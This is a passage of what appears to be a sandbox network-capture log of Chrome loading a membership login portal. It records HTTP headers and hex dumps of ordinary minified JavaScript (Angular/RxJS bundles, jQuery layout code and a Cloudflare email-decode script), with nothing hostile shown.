r.a(o.a)}(t,e,n);if(s.add(a?a.call(s,this.source):this.source\|
2024-04-23 14:54:04 UTC	1369	IN	Data Raw: 74 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 28 72 29 7d 29 7d 29 7d 2c 74 2e 63 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 28 65 29 7d 2c 74 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 74 29 7b 69 66 28 74 7c 7c 28 74 3d 75 2e 61 2e 50 72 6f 6d 69 73 65 7c 7c 50 72 6f 6d 69 73 65 29 2c 21 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6e 6f 20 50 72 6f 6d 69 73 65 20 69 6d 70 6c 20 66 6f 75 6e 64 22 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 22 38 67 38 41 22 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 72 65 74 75 72 6e 20 45 72 72 6f 72 2e 63 61 6c 6c 28 74 68 69 73 29 2c 74 68 69 73 2e 6d 65 Data Ascii: t)},function(){return t(r)})})},t.create=function(e){return new t(e)},t}();function l(t){if(t\|\|(t=u.a.Promise\|\|Promise),!t)throw new Error("no Promise impl found");return t}},"8g8A":function(t,e,n){"use strict";function r(){return Error.call(this),this.me
2024-04-23 14:54:04 UTC	1369	IN	Data Raw: 7d 29 2c 6e 2e 64 28 65 2c 22 67 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 51 61 7d 29 2c 6e 2e 64 28 65 2c 22 53 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 56 61 7d 29 2c 6e 2e 64 28 65 2c 22 79 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 7a 61 7d 29 2c 6e 2e 64 28 65 2c 22 54 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 45 65 7d 29 2c 6e 2e 64 28 65 2c 22 58 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 65 7d 29 2c 6e 2e 64 28 65 2c 22 63 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 61 7d 29 2c 6e 2e 64 28 65 2c 22 43 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 61 7d 29 2c 6e 2e 64 28 65 2c 22 42 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: }),n.d(e,"g",function(){return Qa}),n.d(e,"S",function(){return Va}),n.d(e,"y",function(){return za}),n.d(e,"T",function(){return Ee}),n.d(e,"X",function(){return Se}),n.d(e,"c",function(){return ia}),n.d(e,"C",function(){return sa}),n.d(e,"B",function(){
2024-04-23 14:54:04 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 43 72 7d 29 2c 6e 2e 64 28 65 2c 22 78 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 45 72 7d 29 2c 6e 2e 64 28 65 2c 22 77 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 6f 7d 29 2c 6e 2e 64 28 65 2c 22 44 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4a 6f 7d 29 2c 6e 2e 64 28 65 2c 22 4b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5a 61 7d 29 2c 6e 2e 64 28 65 2c 22 4c 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 57 61 7d 29 2c 6e 2e 64 28 65 2c 22 4d 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4a 72 7d 29 2c 6e 2e 64 28 65 2c 22 50 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 69 7d 29 2c 6e 2e 64 28 65 2c 22 68 22 2c 66 Data Ascii: {return Cr}),n.d(e,"x",function(){return Er}),n.d(e,"w",function(){return $o}),n.d(e,"D",function(){return Jo}),n.d(e,"K",function(){return Za}),n.d(e,"L",function(){return Wa}),n.d(e,"M",function(){return Jr}),n.d(e,"P",function(){return ti}),n.d(e,"h",f
2024-04-23 14:54:04 UTC	1369	IN	Data Raw: 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 44 6f 7d 29 2c 6e 2e 64 28 65 2c 22 44 62 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4f 73 7d 29 2c 6e 2e 64 28 65 2c 22 46 62 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 73 7d 29 2c 6e 2e 64 28 65 2c 22 48 62 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 54 73 7d 29 2c 6e 2e 64 28 65 2c 22 49 62 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 69 7d 29 2c 6e 2e 64 28 65 2c 22 4a 62 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 73 7d 29 3b 76 61 72 20 72 3d 6e 28 22 6d 72 53 47 22 29 2c 69 3d 6e 28 22 70 75 67 54 22 29 2c 6f 3d 6e 28 22 4b 39 49 61 22 29 2c 61 3d 6e 28 22 36 62 6c 46 22 29 2c 73 3d 6e 28 22 70 30 69 62 Data Ascii: ,function(){return Do}),n.d(e,"Db",function(){return Os}),n.d(e,"Fb",function(){return gs}),n.d(e,"Hb",function(){return Ts}),n.d(e,"Ib",function(){return vi}),n.d(e,"Jb",function(){return ks});var r=n("mrSG"),i=n("pugT"),o=n("K9Ia"),a=n("6blF"),s=n("p0ib
2024-04-23 14:54:04 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6e 26 26 28 61 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 2e 70 72 6f 74 6f 74 79 70 65 29 29 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 67 4d 65 74 61 64 61 74 61 4e 61 6d 65 3d 74 2c 61 2e 61 6e 6e 6f 74 61 74 69 6f 6e 43 6c 73 3d 61 2c 61 7d 76 61 72 20 64 3d 68 28 22 49 6e 6a 65 63 74 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 7b 74 6f 6b 65 6e 3a 74 7d 7d 29 2c 79 3d 68 28 22 4f 70 74 69 6f 6e 61 6c 22 29 2c 76 3d 68 28 22 53 65 6c 66 22 29 2c 6d 3d 68 28 22 53 6b 69 70 53 65 6c 66 22 29 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 5b 74 2e 44 65 66 61 75 6c 74 3d 30 5d 3d 22 44 65 66 61 75 6c 74 22 2c 74 5b 74 2e 48 6f 73 74 3d 31 5d 3d 22 48 6f 73 74 22 2c 74 Data Ascii: turn n&&(a.prototype=Object.create(n.prototype)),a.prototype.ngMetadataName=t,a.annotationCls=a,a}var d=h("Inject",function(t){return{token:t}}),y=h("Optional"),v=h("Self"),m=h("SkipSelf"),g=function(t){return t[t.Default=0]="Default",t[t.Host=1]="Host",t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.6	49933	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:03 UTC	730	OUT	GET /jmc-assets/global-js/mc-respond-v2.1.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:03 UTC	528	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:03 GMT Content-Type: application/javascript Content-Length: 5850 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Tue, 19 May 2015 10:58:48 GMT etag: "16da-5166d31e6aa00" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:03 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafc9ecf3b05d-ATL
2024-04-23 14:54:03 UTC	841	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 6a 51 75 65 72 79 28 27 74 61 62 6c 65 2e 63 6f 6e 74 65 6e 74 70 61 6e 65 6f 70 65 6e 20 3e 20 74 62 6f 64 79 20 3e 20 74 72 20 3e 20 74 64 27 29 2e 77 72 61 70 49 6e 6e 65 72 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 22 3e 3c 2f 64 69 76 3e 27 29 3b 0d 0a 09 2f 2a 20 53 6c 69 64 65 20 4d 65 6e 75 20 2a 2f 0d 0a 09 6a 51 75 65 72 79 28 27 2e 73 69 74 65 2d 63 6f 6e 74 61 69 6e 65 72 27 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 09 09 6a 51 75 65 72 79 28 27 69 6e 70 75 74 23 6d 65 6e 75 2d 74 6f 67 67 6c 65 27 29 2e 61 74 74 72 28 27 63 68 65 63 6b 65 64 27 2c 20 66 61 6c 73 65 29 3b 0d 0a 09 7d 29 3b 0d 0a 09 6a 51 75 65 72 Data Ascii: jQuery(function() {jQuery('table.contentpaneopen > tbody > tr > td').wrapInner('<div class="content-wrapper"></div>');/* Slide Menu */jQuery('.site-container').click(function(){jQuery('input#menu-toggle').attr('checked', false);});jQuer
2024-04-23 14:54:03 UTC	1369	IN	Data Raw: 65 6c 73 65 20 7b 0d 0a 09 09 09 6a 51 75 65 72 79 28 74 68 69 73 29 2e 61 64 64 43 6c 61 73 73 28 27 72 69 67 68 74 2d 63 6f 6c 27 29 2e 63 73 73 28 7b 22 74 6f 70 22 3a 20 2d 63 6f 6c 48 65 69 67 68 74 7d 29 3b 0d 0a 09 09 7d 0d 0a 09 7d 29 3b 0d 0a 09 6a 51 75 65 72 79 28 27 2e 66 74 72 2d 6d 65 6e 75 20 3e 20 75 6c 2e 6d 65 6e 75 27 29 2e 63 73 73 28 7b 27 68 65 69 67 68 74 27 3a 20 63 6f 6c 48 65 69 67 68 74 7d 29 3b 0d 0a 20 20 09 2f 2a 20 53 6d 6f 6f 74 68 20 53 63 72 6f 6c 6c 20 2a 2f 0d 0a 09 6a 51 75 65 72 79 28 27 61 23 52 54 54 2c 20 61 23 52 54 54 2d 32 27 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0d 0a 09 09 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0d 0a 09 09 6a 51 75 65 72 79 28 27 68 74 6d 6c 2c 62 6f Data Ascii: else {jQuery(this).addClass('right-col').css({"top": -colHeight});}});jQuery('.ftr-menu > ul.menu').css({'height': colHeight}); /* Smooth Scroll */jQuery('a#RTT, a#RTT-2').click(function(e) {e.preventDefault();jQuery('html,bo
2024-04-23 14:54:03 UTC	1369	IN	Data Raw: 70 6f 72 74 48 29 20 7b 0d 0a 09 09 6a 51 75 65 72 79 28 27 23 52 54 54 2d 32 27 29 2e 61 64 64 43 6c 61 73 73 28 27 62 69 67 2d 66 6f 6f 74 65 72 27 29 3b 0d 0a 09 7d 20 65 6c 73 65 20 7b 0d 0a 09 09 6a 51 75 65 72 79 28 27 23 52 54 54 2d 32 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 62 69 67 2d 66 6f 6f 74 65 72 27 29 3b 0d 0a 09 7d 0d 0a 7d 3b 0d 0a 76 61 72 20 6d 61 6a 6f 72 42 72 65 61 6b 70 6f 69 6e 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 09 69 66 20 28 6a 51 75 65 72 79 28 27 23 70 68 6f 6e 65 2d 6c 61 6e 64 73 63 61 70 65 27 29 2e 69 73 28 27 3a 76 69 73 69 62 6c 65 27 29 29 20 7b 0d 0a 09 09 6a 51 75 65 72 79 28 27 23 62 6b 67 27 29 2e 61 64 64 43 6c 61 73 73 28 27 70 68 6f 6e 65 2d 6c 61 6e 64 73 63 61 70 65 27 29 2e 72 65 Data Ascii: portH) {jQuery('#RTT-2').addClass('big-footer');} else {jQuery('#RTT-2').removeClass('big-footer');}};var majorBreakpoint = function () {if (jQuery('#phone-landscape').is(':visible')) {jQuery('#bkg').addClass('phone-landscape').re
2024-04-23 14:54:03 UTC	1369	IN	Data Raw: 73 73 28 27 63 6f 6e 74 65 6e 74 2d 74 61 62 6c 65 27 29 3b 0d 0a 6a 51 75 65 72 79 28 27 74 61 62 6c 65 2e 63 6f 6e 74 65 6e 74 2d 74 61 62 6c 65 27 29 2e 77 72 61 70 28 27 3c 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 2d 77 72 61 70 70 65 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 27 29 3b 0d 0a 76 61 72 20 62 6b 67 43 6c 61 73 73 20 3d 20 6a 51 75 65 72 79 28 27 23 62 6b 67 27 29 2e 61 74 74 72 28 27 63 6c 61 73 73 27 29 3b 0d 0a 76 61 72 20 63 6f 6e 74 65 6e 74 57 69 64 74 68 20 3d 20 6a 51 75 65 72 79 28 27 23 63 6f 6d 70 6f 6e 65 6e 74 2d 77 72 61 70 27 29 2e 6f 75 74 65 72 57 69 64 74 68 28 29 3b 0d 0a 76 61 72 20 74 61 62 6c 65 57 72 61 70 70 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 09 6a 51 75 65 72 79 28 27 64 Data Ascii: ss('content-table');jQuery('table.content-table').wrap('<div><div class="table-wrapper"></div></div>');var bkgClass = jQuery('#bkg').attr('class');var contentWidth = jQuery('#component-wrap').outerWidth();var tableWrapper = function(){jQuery('d
2024-04-23 14:54:03 UTC	902	IN	Data Raw: 6e 2d 6c 65 66 74 27 29 3b 0d 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0d 0a 09 09 09 09 6a 51 75 65 72 79 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 74 75 72 6e 2d 6c 65 66 74 20 74 68 69 72 64 2d 6c 65 76 65 6c 27 29 3b 0d 0a 09 09 09 7d 0d 0a 09 09 7d 29 3b 0d 0a 09 7d 20 65 6c 73 65 20 7b 0d 0a 09 09 6a 51 75 65 72 79 28 27 23 70 72 69 6d 61 72 79 2d 6d 65 6e 75 27 29 2e 66 69 6e 64 28 27 6c 69 2e 70 61 72 65 6e 74 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 74 75 72 6e 2d 6c 65 66 74 20 74 68 69 72 64 2d 6c 65 76 65 6c 27 29 3b 0d 0a 09 7d 0d 0a 7d 3b 0d 0a 76 61 72 20 68 69 64 65 4b 69 64 73 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 09 6a 51 75 65 72 79 28 27 23 70 72 69 6d 61 72 79 2d 6d 65 6e 75 20 75 6c 27 29 2e 65 61 63 68 Data Ascii: n-left');} else {jQuery(this).removeClass('turn-left third-level');}});} else {jQuery('#primary-menu').find('li.parent').removeClass('turn-left third-level');}};var hideKids = function(){jQuery('#primary-menu ul').each

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.6	49931	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:03 UTC	753	OUT	GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:03 UTC	498	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:03 GMT Content-Type: application/javascript Content-Length: 1239 Connection: close Last-Modified: Tue, 16 Apr 2024 15:45:04 GMT ETag: "661e9d00-4d7" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 878eafc9efad507d-ATL X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Thu, 25 Apr 2024 14:54:03 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-04-23 14:54:03 UTC	871	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 74 72 79 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 29 72 65 74 75 72 6e 3b 22 65 72 72 6f 72 22 69 6e 20 63 6f 6e 73 6f 6c 65 3f 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 3a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 20 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 61 20 68 72 65 66 3d 22 27 2b 65 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2b 27 22 3e 3c 2f 61 3e 27 2c 64 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 30 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 Data Ascii: !function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href
2024-04-23 14:54:03 UTC	368	IN	Data Raw: 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 74 65 6d 70 6c 61 74 65 22 29 2c 6e 3d 30 3b 6e 3c 72 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 72 79 7b 69 28 72 5b 6e 5d 2e 63 6f 6e 74 65 6e 74 29 7d 63 61 74 63 68 28 63 29 7b 65 28 63 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 72 79 7b 63 28 74 29 2c 6f 28 74 29 2c 61 28 74 29 7d 63 61 74 63 68 28 72 29 7b 65 28 72 29 7d 7d 76 61 72 20 6c 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 22 2c 75 3d 22 2e 5f 5f 63 66 5f 65 6d 61 69 6c 5f 5f 22 2c 66 3d 22 64 61 74 61 2d 63 66 65 6d 61 69 6c 22 2c 64 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 69 28 64 6f 63 75 6d 65 6e 74 29 2c 66 75 6e 63 74 69 6f Data Ascii: .querySelectorAll("template"),n=0;n<r.length;n++)try{i(r[n].content)}catch(c){e(c)}}function i(t){try{c(t),o(t),a(t)}catch(r){e(r)}}var l="/cdn-cgi/l/email-protection#",u=".__cf_email__",f="data-cfemail",d=document.createElement("div");i(document),functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.6	49934	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:05 UTC	780	OUT	GET /ui-login/v1/getOrgName HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / X-NewRelic-ID: VQ4EWF5RChABVlFaAAcGV1E= sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:05 UTC	769	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen access-control-allow-origin: * access-control-allow-methods: GET, POST, DELETE, PUT, OPTIONS access-control-allow-headers: Origin, Accept, Content-Type, X-Requested-With, X-CSRF-Token x-newrelic-app-data: PxQGWVVaAAECR1JaAwAAVFEIDhFORDQHUjZKA1ZLVVFHDFYPHiRLEhZTRBIMEBd0dTBOTVBUQykWVnhSDwNMQBxSFFIWCAUEBFIPUwRVH0BVBwNDSkFbVwBcBQEHBQEAAFBSC0BKBQNcEV0/ CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 878eafd348047b9b-ATL
2024-04-23 14:54:05 UTC	120	IN	Data Raw: 37 32 0d 0a 7b 22 6f 72 67 49 64 22 3a 22 61 72 6d 61 31 22 2c 22 6e 61 6d 65 22 3a 22 41 73 70 68 61 6c 74 20 52 6f 6f 66 69 6e 67 20 4d 61 6e 75 66 61 63 74 75 72 65 72 73 20 41 73 73 6f 63 69 61 74 69 6f 6e 22 2c 22 73 65 72 76 69 63 65 49 64 22 3a 31 30 30 38 35 2c 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 6d 62 65 72 63 6c 69 63 6b 73 2e 6e 65 74 22 7d 0d 0a Data Ascii: 72{"orgId":"arma1","name":"Asphalt Roofing Manufacturers Association","serviceId":10085,"domain":"memberclicks.net"}
2024-04-23 14:54:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.6	49935	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:05 UTC	712	OUT	GET /ui-login/v1/dist/1.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:05 UTC	782	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 104290 Connection: close x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen access-control-allow-origin: * access-control-allow-methods: GET, POST, DELETE, PUT, OPTIONS access-control-allow-headers: Origin, Accept, Content-Type, X-Requested-With, X-CSRF-Token Cache-Control: public, max-age=3600 last-modified: Wed, 06 Dec 2023 13:58:57 GMT etag: W/"19762-18c3f6cb0e8" CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:05 GMT Accept-Ranges: bytes Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 878eafd35890ad8f-ATL
2024-04-23 14:54:05 UTC	587	IN	Data Raw: 28 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 5d 2c 7b 22 2f 56 59 4b 22 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6f 3d 6e 28 22 64 57 5a 67 22 29 2c 69 3d 6e 28 22 43 63 6e 47 22 29 2c 72 3d 6e 28 22 6e 36 67 47 22 29 2c 61 3d 6e 28 22 47 35 4a 31 22 29 2c 6c 3d 6e 28 22 4b 39 49 61 22 29 2c 75 3d 6e 28 22 62 6e 65 35 22 29 2c 73 3d 6e 28 22 54 31 44 4d 22 29 2c 63 3d 6e 28 22 6d 72 53 47 22 29 2c 64 3d 6e 28 22 4d 47 42 53 22 29 2c 66 3d 6e 28 22 7a 6f 74 6d 22 29 2c 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 64 75 72 61 74 69 Data Ascii: (window.webpackJsonp=window.webpackJsonp\|\|[]).push([[1],{"/VYK":function(t,e,n){"use strict";var o=n("dWZg"),i=n("CcnG"),r=n("n6gG"),a=n("G5J1"),l=n("K9Ia"),u=n("bne5"),s=n("T1DM"),c=n("mrSG"),d=n("MGBS"),f=n("zotm"),p=function(){function t(t){this.durati
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 64 75 72 61 74 69 6f 6e 53 65 6c 65 63 74 6f 72 29 28 74 29 7d 63 61 74 63 68 28 6f 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 64 65 73 74 69 6e 61 74 69 6f 6e 2e 65 72 72 6f 72 28 6f 29 7d 76 61 72 20 6e 3d 4f 62 6a 65 63 74 28 66 2e 61 29 28 74 68 69 73 2c 65 29 3b 21 6e 7c 7c 6e 2e 63 6c 6f 73 65 64 3f 74 68 69 73 2e 63 6c 65 61 72 54 68 72 6f 74 74 6c 65 28 29 3a 74 68 69 73 2e 61 64 64 28 74 68 69 73 2e 74 68 72 6f 74 74 6c 65 64 3d 6e 29 7d 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 54 68 72 6f 74 74 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 76 61 6c 75 65 2c 65 3d 74 68 69 73 2e 68 61 73 56 61 6c 75 65 2c 6e 3d 74 68 69 73 2e 74 68 72 6f 74 74 6c 65 64 3b 6e 26 26 28 74 68 69 73 2e 72 65 6d 6f 76 65 28 Data Ascii: durationSelector)(t)}catch(o){return this.destination.error(o)}var n=Object(f.a)(this,e);!n\|\|n.closed?this.clearThrottle():this.add(this.throttled=n)}},e.prototype.clearThrottle=function(){var t=this.value,e=this.hasValue,n=this.throttled;n&&(this.remove(
